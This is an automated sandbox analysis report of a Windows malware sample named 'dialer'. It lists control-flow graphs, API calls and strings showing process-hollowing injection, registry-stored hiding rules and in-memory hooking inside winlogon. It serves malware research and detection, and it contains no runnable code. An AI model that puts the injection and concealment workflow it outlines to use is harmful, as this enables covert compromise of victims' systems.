                                                                control_flow_graph 189 140002560-14000258c 190 140002592 189->190 191 14000273a-140002742 189->191 192 1400026c6-1400026fe GetProcessHeap HeapAlloc K32EnumProcesses 190->192 193 140002598-14000259f 190->193 194 140002748-14000274b 191->194 195 14000297e-1400029a2 ReadFile 191->195 196 140002a74-140002a8e 192->196 198 140002704-140002715 192->198 199 1400025a5-1400025a8 193->199 200 1400026bd-1400026bf ExitProcess 193->200 201 140002751-140002756 194->201 202 140002974-140002979 call 14000175c 194->202 195->196 197 1400029a8-1400029af 195->197 197->196 206 1400029b5-1400029c9 call 1400018ac 197->206 198->196 207 14000271b-140002733 call 1400010c0 198->207 208 1400025ae-1400025b1 199->208 209 140002660-14000268b RegOpenKeyExW 199->209 203 140002919-14000292c call 140001944 201->203 204 14000275c-14000275f 201->204 202->196 203->196 231 140002932-140002941 call 140001944 203->231 210 140002761-140002766 204->210 211 14000279d-1400027ae call 140001944 204->211 206->196 229 1400029cf-1400029d5 206->229 232 140002735 207->232 218 140002651-14000265b 208->218 219 1400025b7-1400025ba 208->219 216 1400026a1-1400026b8 call 1400019c4 call 14000175c call 140001000 call 1400017ec 209->216 217 14000268d-14000269b RegDeleteValueW 209->217 210->196 220 14000276c-140002796 call 14000217c call 1400021a8 ExitProcess 210->220 211->196 240 1400027b4-1400027d6 ReadFile 211->240 216->196 217->216 218->196 226 140002644-14000264c 219->226 227 1400025c0-1400025c5 219->227 226->196 227->196 234 1400025cb-1400025ef ReadFile 227->234 238 1400029db-140002a16 GetProcessHeap HeapAlloc call 1400014d8 229->238 239 140002a5f 229->239 231->196 255 140002947-14000296f ShellExecuteW 231->255 232->196 234->196 236 1400025f5-1400025fc 234->236 236->196 243 140002602-140002616 call 1400018ac 236->243 258 140002a18-140002a1e 238->258 259 140002a49-140002a4f GetProcessHeap 238->259 245 140002a66-140002a6f call 140002a90 239->245 240->196 247 1400027dc-1400027e3 240->247 243->196 264 14000261c-140002622 243->264 245->196 247->196 254 1400027e9-140002827 GetProcessHeap HeapAlloc ReadFile 247->254 260 14000290b-140002914 GetProcessHeap 254->260 261 14000282d-140002839 254->261 255->196 258->259 265 140002a20-140002a32 258->265 262 140002a52-140002a5d HeapFree 259->262 260->262 261->260 266 14000283f-14000284b 261->266 262->196 268 140002624-140002633 call 1400010c0 264->268 269 140002638-14000263f 264->269 270 140002a34-140002a36 265->270 271 140002a38-140002a40 265->271 266->260 272 140002851-14000285c 266->272 268->196 269->245 270->271 276 140002a44 call 1400016cc 270->276 271->259 277 140002a42 271->277 273 140002881-140002905 lstrlenW GetProcessHeap HeapAlloc call 140002a90 GetProcessHeap HeapFree 272->273 274 14000285e-140002869 272->274 273->260 274->260 278 14000286f-14000287c call 140001c88 274->278 276->259 277->265 278->260
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000033.00000002.3418090813.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 00000033.00000002.3417913403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3418339147.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3419565053.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_51_2_140000000_dialer.jbxd
                                                                Similarity
                                                                • API ID: Process$Open$File$CloseExitFindHeapName$AllocChangeDeleteEnumHandleInformationModuleNotificationPathProcessesQueryReadTokenValueWow64lstrlen
                                                                • String ID: SOFTWARE$dialerstager$open
                                                                • API String ID: 4281403370-3931493855
                                                                • Opcode ID: ae79544a1ca264f77e0040c582fad8c70a14f3da5095032f2fa0f831f935a8fc
                                                                • Instruction ID: ae65b9042581f7dc9e2ee581e3d1b52dcddb088aa692a5b8ad70e1a65f9de3a1
                                                                • Opcode Fuzzy Hash: ae79544a1ca264f77e0040c582fad8c70a14f3da5095032f2fa0f831f935a8fc
                                                                • Instruction Fuzzy Hash: 91D14DB13046818BEB7BDF26B8143E92269F74DBC8F404125BB4A47AB9DE78C605C741
                                                                Function 0000000140001C88 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154injectionthreadmemoryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 285 140001c88-140001cb8 286 140001cbb-140001cc8 285->286 287 140001e8c-140001e91 286->287 288 140001cce-140001d25 CreateProcessW 286->288 287->286 291 140001e97 287->291 289 140001e88 288->289 290 140001d2b-140001d5a VirtualAllocEx 288->290 289->287 292 140001e5d-140001e60 290->292 293 140001d60-140001d7b WriteProcessMemory 290->293 294 140001e99-140001eb9 291->294 295 140001e62-140001e76 OpenProcess 292->295 296 140001e85 292->296 293->292 297 140001d81-140001d87 293->297 295->289 298 140001e78-140001e83 TerminateProcess 295->298 296->289 299 140001dd2-140001def VirtualAlloc 297->299 300 140001d89 297->300 298->289 299->292 301 140001df1-140001e07 GetThreadContext 299->301 302 140001d8c-140001dba WriteProcessMemory 300->302 301->292 304 140001e09-140001e2e WriteProcessMemory 301->304 302->292 303 140001dc0-140001dcc 302->303 303->302 305 140001dce 303->305 304->292 306 140001e30-140001e4c SetThreadContext 304->306 305->299 306->292 307 140001e4e-140001e5b ResumeThread 306->307 307->292 308 140001eba-140001ebf 307->308 308->294
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000033.00000002.3418090813.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 00000033.00000002.3417913403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3418339147.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3419565053.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_51_2_140000000_dialer.jbxd
                                                                Similarity
                                                                • API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
                                                                • String ID: @
                                                                • API String ID: 3462610200-2766056989
                                                                • Opcode ID: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
                                                                • Instruction ID: 5c16bc39e07cf5e776479c29415d8ab36f8b64b080a4e80c067f24e51f003d21
                                                                • Opcode Fuzzy Hash: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
                                                                • Instruction Fuzzy Hash: B55122B2700A808AEB52CF66E8447DE77A5FB88BD8F054125EF4997B68DF38C855C700
                                                                Function 00000001400019C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102memorycomCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000033.00000002.3418090813.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 00000033.00000002.3417913403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3418339147.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3419565053.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_51_2_140000000_dialer.jbxd
                                                                Similarity
                                                                • API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
                                                                • String ID: dialersvc64
                                                                • API String ID: 4184240511-3881820561
                                                                • Opcode ID: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
                                                                • Instruction ID: f04b9e4fe08d72b668f3c34f73b3c63bb96ebc933f76805d9c48aa5d26f439e8
                                                                • Opcode Fuzzy Hash: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
                                                                • Instruction Fuzzy Hash: 69415A72704A819AE712CF6AE8543DD73B5FB89B89F044125EF4E47A64DF38D149C300
                                                                Function 0000000140001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000033.00000002.3418090813.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 00000033.00000002.3417913403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3418339147.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3419565053.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_51_2_140000000_dialer.jbxd
                                                                Similarity
                                                                • API ID: Delete$CloseEnumOpen
                                                                • String ID: SOFTWARE\dialerconfig
                                                                • API String ID: 3013565938-461861421
                                                                • Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
                                                                • Instruction ID: 8f4ace04a6ff3505bb025a84b088d585f414f6eddbaae7ea6d4a7c6b6057ac94
                                                                • Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
                                                                • Instruction Fuzzy Hash: 2F1186B2714A8486E762CF26F8557E92378F78C7D8F404215A74D0BAA8DF7CC248CB54
                                                                Function 0000000140002A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000033.00000002.3418090813.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 00000033.00000002.3417913403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3418339147.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3419565053.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_51_2_140000000_dialer.jbxd
                                                                Similarity
                                                                • API ID: File$Write$CloseCreateHandle
                                                                • String ID: \\.\pipe\dialercontrol_redirect64
                                                                • API String ID: 148219782-3440882674
                                                                • Opcode ID: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
                                                                • Instruction ID: c657f3a7a6ba8077c0f3fca19c98ae9a251d12aa6ce49f65425284bb78429f7a
                                                                • Opcode Fuzzy Hash: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
                                                                • Instruction Fuzzy Hash: AE1139B6720B5082EB16CF16F818399A764F78DFE4F544215AB6907BA4CF78C549CB40
                                                                Function 0000000140001914 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000033.00000002.3418090813.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 00000033.00000002.3417913403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3418339147.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3419565053.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_51_2_140000000_dialer.jbxd
                                                                Similarity
                                                                • API ID: AddressHandleModuleProc
                                                                • String ID: ntdll.dll
                                                                • API String ID: 1646373207-2227199552
                                                                • Opcode ID: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
                                                                • Instruction ID: 7108e587e86fbdef38877cdd133235ae9a077454219746bc209a409130a8dfa8
                                                                • Opcode Fuzzy Hash: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
                                                                • Instruction Fuzzy Hash: 5BD0C9F471260582EE1BDBA378643E552996B5CBC5F884020AE164B360DA38C1998600

                                                                Execution Graph

                                                                Execution Coverage:1.7%
                                                                Dynamic/Decrypted Code Coverage:95.2%
                                                                Signature Coverage:0%
                                                                Total number of Nodes:126
                                                                Total number of Limit Nodes:16
                                                                execution_graph 15115 2d0165e1abc 15120 2d0165e1628 GetProcessHeap 15115->15120 15117 2d0165e1ad2 Sleep SleepEx 15118 2d0165e1acb 15117->15118 15118->15117 15119 2d0165e1598 StrCmpIW StrCmpW 15118->15119 15119->15118 15121 2d0165e1648 _invalid_parameter_noinfo 15120->15121 15165 2d0165e1268 GetProcessHeap 15121->15165 15123 2d0165e1650 15124 2d0165e1268 2 API calls 15123->15124 15125 2d0165e1661 15124->15125 15126 2d0165e1268 2 API calls 15125->15126 15127 2d0165e166a 15126->15127 15128 2d0165e1268 2 API calls 15127->15128 15129 2d0165e1673 15128->15129 15130 2d0165e168e RegOpenKeyExW 15129->15130 15131 2d0165e18a6 15130->15131 15132 2d0165e16c0 RegOpenKeyExW 15130->15132 15131->15118 15133 2d0165e16ff RegOpenKeyExW 15132->15133 15134 2d0165e16e9 15132->15134 15136 2d0165e173a RegOpenKeyExW 15133->15136 15137 2d0165e1723 15133->15137 15176 2d0165e12bc RegQueryInfoKeyW 15134->15176 15140 2d0165e175e 15136->15140 15141 2d0165e1775 RegOpenKeyExW 15136->15141 15169 2d0165e104c RegQueryInfoKeyW 15137->15169 15145 2d0165e12bc 13 API calls 15140->15145 15142 2d0165e1799 15141->15142 15143 2d0165e17b0 RegOpenKeyExW 15141->15143 15147 2d0165e12bc 13 API calls 15142->15147 15148 2d0165e17eb RegOpenKeyExW 15143->15148 15149 2d0165e17d4 15143->15149 15146 2d0165e176b RegCloseKey 15145->15146 15146->15141 15150 2d0165e17a6 RegCloseKey 15147->15150 15152 2d0165e180f 15148->15152 15153 2d0165e1826 RegOpenKeyExW 15148->15153 15151 2d0165e12bc 13 API calls 15149->15151 15150->15143 15154 2d0165e17e1 RegCloseKey 15151->15154 15155 2d0165e104c 5 API calls 15152->15155 15156 2d0165e184a 15153->15156 15157 2d0165e1861 RegOpenKeyExW 15153->15157 15154->15148 15160 2d0165e181c RegCloseKey 15155->15160 15161 2d0165e104c 5 API calls 15156->15161 15158 2d0165e189c RegCloseKey 15157->15158 15159 2d0165e1885 15157->15159 15158->15131 15163 2d0165e104c 5 API calls 15159->15163 15160->15153 15162 2d0165e1857 RegCloseKey 15161->15162 15162->15157 15164 2d0165e1892 RegCloseKey 15163->15164 15164->15158 15187 2d0165f6168 15165->15187 15167 2d0165e1283 GetProcessHeap 15168 2d0165e12ae _invalid_parameter_noinfo 15167->15168 15168->15123 15170 2d0165e10bf 15169->15170 15171 2d0165e11b5 RegCloseKey 15169->15171 15170->15171 15172 2d0165e10cf RegEnumValueW 15170->15172 15171->15136 15174 2d0165e1125 _invalid_parameter_noinfo 15172->15174 15173 2d0165e114e GetProcessHeap 15173->15174 15174->15171 15174->15172 15174->15173 15175 2d0165e116e GetProcessHeap HeapFree 15174->15175 15175->15174 15177 2d0165e148a RegCloseKey 15176->15177 15178 2d0165e1327 GetProcessHeap 15176->15178 15177->15133 15184 2d0165e133e _invalid_parameter_noinfo 15178->15184 15179 2d0165e1476 GetProcessHeap HeapFree 15179->15177 15180 2d0165e1352 RegEnumValueW 15180->15184 15182 2d0165e141e lstrlenW GetProcessHeap 15182->15184 15183 2d0165e13d3 GetProcessHeap 15183->15184 15184->15179 15184->15180 15184->15182 15184->15183 15185 2d0165e13f3 GetProcessHeap HeapFree 15184->15185 15186 2d0165e1443 StrCpyW 15184->15186 15189 2d0165e152c 15184->15189 15185->15182 15186->15184 15188 2d0165f6177 15187->15188 15190 2d0165e1546 15189->15190 15193 2d0165e157c 15189->15193 15191 2d0165e155d StrCmpIW 15190->15191 15192 2d0165e1565 StrCmpW 15190->15192 15190->15193 15191->15190 15192->15190 15193->15184 15194 2d0165e554d 15195 2d0165e5554 15194->15195 15196 2d0165e55bb 15195->15196 15197 2d0165e5637 VirtualProtect 15195->15197 15198 2d0165e5663 GetLastError 15197->15198 15199 2d0165e5671 15197->15199 15198->15199 15200 2d01658273c 15201 2d01658276a 15200->15201 15202 2d0165827c5 VirtualAlloc 15201->15202 15205 2d0165828d4 15201->15205 15204 2d0165827ec 15202->15204 15202->15205 15203 2d016582858 LoadLibraryA 15203->15204 15204->15203 15204->15205 15206 2d0165e28c8 15207 2d0165e290e 15206->15207 15208 2d0165e2970 15207->15208 15210 2d0165e3844 15207->15210 15211 2d0165e3866 15210->15211 15212 2d0165e3851 StrCmpNIW 15210->15212 15211->15207 15212->15211 15213 2d0165e3ab9 15218 2d0165e3a06 15213->15218 15214 2d0165e3a70 15215 2d0165e3a56 VirtualQuery 15215->15214 15215->15218 15216 2d0165e3a8a VirtualAlloc 15216->15214 15217 2d0165e3abb GetLastError 15216->15217 15217->15214 15217->15218 15218->15214 15218->15215 15218->15216 15219 2d0165e5cf0 15220 2d0165e5cfd 15219->15220 15221 2d0165e5d09 15220->15221 15227 2d0165e5e1a 15220->15227 15222 2d0165e5d3e 15221->15222 15223 2d0165e5d8d 15221->15223 15224 2d0165e5d66 SetThreadContext 15222->15224 15224->15223 15225 2d0165e5efe 15228 2d0165e5f1e 15225->15228 15241 2d0165e43e0 15225->15241 15226 2d0165e5e41 VirtualProtect FlushInstructionCache 15226->15227 15227->15225 15227->15226 15237 2d0165e4df0 GetCurrentProcess 15228->15237 15230 2d0165e5f23 15232 2d0165e5f77 15230->15232 15233 2d0165e5f37 ResumeThread 15230->15233 15245 2d0165e7940 15232->15245 15234 2d0165e5f6b 15233->15234 15234->15230 15236 2d0165e5fbf 15238 2d0165e4e0c 15237->15238 15239 2d0165e4e22 VirtualProtect FlushInstructionCache 15238->15239 15240 2d0165e4e53 15238->15240 15239->15238 15240->15230 15243 2d0165e43fc 15241->15243 15242 2d0165e445f 15242->15228 15243->15242 15244 2d0165e4412 VirtualFree 15243->15244 15244->15243 15246 2d0165e7949 _log10_special 15245->15246 15247 2d0165e7954 15246->15247 15250 2d0165e8320 15246->15250 15247->15236 15249 2d0165e8157 15249->15236 15251 2d0165e8331 capture_current_context 15250->15251 15252 2d0165e833a RtlLookupFunctionEntry 15251->15252 15253 2d0165e8389 15251->15253 15252->15251 15252->15253 15253->15249

                                                                Executed Functions

                                                                Function 000002D0165E1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
                                                                • String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
                                                                • API String ID: 106492572-2879589442
                                                                • Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                                                • Instruction ID: 5ecbaa186e8d59cd892059c32c6735f956b01256b6e0a22be3f8683e5b015701
                                                                • Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                                                • Instruction Fuzzy Hash: EE711936210A9086EB209FB6ECD8B9973A5F784B89F801112DE4E47B78EF35C954C744
                                                                Function 000002D0165E3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: CurrentProcessProtectVirtual$HandleModule
                                                                • String ID: wr
                                                                • API String ID: 1092925422-2678910430
                                                                • Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                                                • Instruction ID: 4674d9df3d536e982c299afeb10ddbd57cf0d0b09ef677d7c97c0013872c700b
                                                                • Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                                                • Instruction Fuzzy Hash: 6411A126305781C2FF149B61F848769B2B4F748B85F84002ADE8D03765EF3ECA05C714
                                                                Function 000002D0165E5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 59 2d0165e5b30-2d0165e5b57 60 2d0165e5b6b-2d0165e5b76 GetCurrentThreadId 59->60 61 2d0165e5b59-2d0165e5b68 59->61 62 2d0165e5b78-2d0165e5b7d 60->62 63 2d0165e5b82-2d0165e5b89 60->63 61->60 64 2d0165e5faf-2d0165e5fc6 call 2d0165e7940 62->64 65 2d0165e5b9b-2d0165e5baf 63->65 66 2d0165e5b8b-2d0165e5b96 call 2d0165e5960 63->66 69 2d0165e5bbe-2d0165e5bc4 65->69 66->64 70 2d0165e5bca-2d0165e5bd3 69->70 71 2d0165e5c95-2d0165e5cb6 69->71 74 2d0165e5c1a-2d0165e5c8d call 2d0165e4510 call 2d0165e44b0 call 2d0165e4470 70->74 75 2d0165e5bd5-2d0165e5c18 call 2d0165e85c0 70->75 79 2d0165e5e1f-2d0165e5e30 call 2d0165e74bf 71->79 80 2d0165e5cbc-2d0165e5cdc GetThreadContext 71->80 88 2d0165e5c90 74->88 75->88 90 2d0165e5e35-2d0165e5e3b 79->90 81 2d0165e5e1a 80->81 82 2d0165e5ce2-2d0165e5d03 80->82 81->79 82->81 92 2d0165e5d09-2d0165e5d12 82->92 88->69 94 2d0165e5efe-2d0165e5f0e 90->94 95 2d0165e5e41-2d0165e5e98 VirtualProtect FlushInstructionCache 90->95 97 2d0165e5d14-2d0165e5d25 92->97 98 2d0165e5d92-2d0165e5da3 92->98 104 2d0165e5f1e-2d0165e5f2a call 2d0165e4df0 94->104 105 2d0165e5f10-2d0165e5f17 94->105 99 2d0165e5e9a-2d0165e5ea4 95->99 100 2d0165e5ec9-2d0165e5ef9 call 2d0165e78ac 95->100 106 2d0165e5d8d 97->106 107 2d0165e5d27-2d0165e5d3c 97->107 101 2d0165e5e15 98->101 102 2d0165e5da5-2d0165e5dc3 98->102 99->100 110 2d0165e5ea6-2d0165e5ec1 call 2d0165e4390 99->110 100->90 102->101 112 2d0165e5dc5-2d0165e5e0c call 2d0165e3900 102->112 121 2d0165e5f2f-2d0165e5f35 104->121 105->104 113 2d0165e5f19 call 2d0165e43e0 105->113 106->101 107->106 108 2d0165e5d3e-2d0165e5d88 call 2d0165e3970 SetThreadContext 107->108 108->106 110->100 112->101 126 2d0165e5e10 call 2d0165e74dd 112->126 113->104 124 2d0165e5f77-2d0165e5f95 121->124 125 2d0165e5f37-2d0165e5f75 ResumeThread call 2d0165e78ac 121->125 128 2d0165e5fa9 124->128 129 2d0165e5f97-2d0165e5fa6 124->129 125->121 126->101 128->64 129->128
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Thread$Current$Context
                                                                • String ID:
                                                                • API String ID: 1666949209-0
                                                                • Opcode ID: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
                                                                • Instruction ID: d170addcbda7b12596392159c148f3388fdea41b115c5373cd1e58d87ea25250
                                                                • Opcode Fuzzy Hash: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
                                                                • Instruction Fuzzy Hash: 01D18B76205B8882DB709B56E8D435AB7A0F388B88F504117EACD47BB5DF3ECA55CB40
                                                                Function 000002D0165E50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 131 2d0165e50d0-2d0165e50fc 132 2d0165e50fe-2d0165e5106 131->132 133 2d0165e510d-2d0165e5116 131->133 132->133 134 2d0165e5118-2d0165e5120 133->134 135 2d0165e5127-2d0165e5130 133->135 134->135 136 2d0165e5132-2d0165e513a 135->136 137 2d0165e5141-2d0165e514a 135->137 136->137 138 2d0165e514c-2d0165e5151 137->138 139 2d0165e5156-2d0165e5161 GetCurrentThreadId 137->139 140 2d0165e56d3-2d0165e56da 138->140 141 2d0165e516d-2d0165e5174 139->141 142 2d0165e5163-2d0165e5168 139->142 143 2d0165e5176-2d0165e517c 141->143 144 2d0165e5181-2d0165e518a 141->144 142->140 143->140 145 2d0165e518c-2d0165e5191 144->145 146 2d0165e5196-2d0165e51a2 144->146 145->140 147 2d0165e51ce-2d0165e5225 call 2d0165e56e0 * 2 146->147 148 2d0165e51a4-2d0165e51c9 146->148 153 2d0165e523a-2d0165e5243 147->153 154 2d0165e5227-2d0165e522e 147->154 148->140 157 2d0165e5255-2d0165e525e 153->157 158 2d0165e5245-2d0165e5252 153->158 155 2d0165e5236 154->155 156 2d0165e5230 154->156 160 2d0165e52a6-2d0165e52aa 155->160 159 2d0165e52b0-2d0165e52b6 156->159 161 2d0165e5273-2d0165e5298 call 2d0165e7870 157->161 162 2d0165e5260-2d0165e5270 157->162 158->157 164 2d0165e52b8-2d0165e52d4 call 2d0165e4390 159->164 165 2d0165e52e5-2d0165e52eb 159->165 160->159 172 2d0165e529e 161->172 173 2d0165e532d-2d0165e5342 call 2d0165e3cc0 161->173 162->161 164->165 174 2d0165e52d6-2d0165e52de 164->174 166 2d0165e52ed-2d0165e530c call 2d0165e78ac 165->166 167 2d0165e5315-2d0165e5328 165->167 166->167 167->140 172->160 178 2d0165e5344-2d0165e534c 173->178 179 2d0165e5351-2d0165e535a 173->179 174->165 178->160 180 2d0165e536c-2d0165e53ba call 2d0165e8c60 179->180 181 2d0165e535c-2d0165e5369 179->181 184 2d0165e53c2-2d0165e53ca 180->184 181->180 185 2d0165e54d7-2d0165e54df 184->185 186 2d0165e53d0-2d0165e54bb call 2d0165e7440 184->186 188 2d0165e5523-2d0165e552b 185->188 189 2d0165e54e1-2d0165e54f4 call 2d0165e4590 185->189 197 2d0165e54bf-2d0165e54ce call 2d0165e4060 186->197 198 2d0165e54bd 186->198 190 2d0165e552d-2d0165e5535 188->190 191 2d0165e5537-2d0165e5546 188->191 203 2d0165e54f8-2d0165e5521 189->203 204 2d0165e54f6 189->204 190->191 194 2d0165e5554-2d0165e5561 190->194 195 2d0165e554f 191->195 196 2d0165e5548 191->196 201 2d0165e5564-2d0165e55b9 call 2d0165e85c0 194->201 202 2d0165e5563 194->202 195->194 196->195 207 2d0165e54d2 197->207 208 2d0165e54d0 197->208 198->185 210 2d0165e55bb-2d0165e55c3 201->210 211 2d0165e55c8-2d0165e5661 call 2d0165e4510 call 2d0165e4470 VirtualProtect 201->211 202->201 203->185 204->188 207->184 208->185 216 2d0165e5663-2d0165e5668 GetLastError 211->216 217 2d0165e5671-2d0165e56d1 211->217 216->217 217->140
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: CurrentThread
                                                                • String ID:
                                                                • API String ID: 2882836952-0
                                                                • Opcode ID: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
                                                                • Instruction ID: c79f08a0408f7d8f647ff0ca48cb583e9eb7eb6c6cfc1174afee583460d097fa
                                                                • Opcode Fuzzy Hash: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
                                                                • Instruction Fuzzy Hash: 5402A832619BC486EB60CB95E89435AF7A1F3C4794F504016EACE87BA9DF7EC954CB00
                                                                Function 000002D0165E39E0 Relevance: 4.6, APIs: 3, Instructions: 64memoryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Virtual$AllocQuery
                                                                • String ID:
                                                                • API String ID: 31662377-0
                                                                • Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
                                                                • Instruction ID: 28efb8197a5b457b3dea2d752150fd58e1380e9d813bcaab70eb5bc99618508c
                                                                • Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
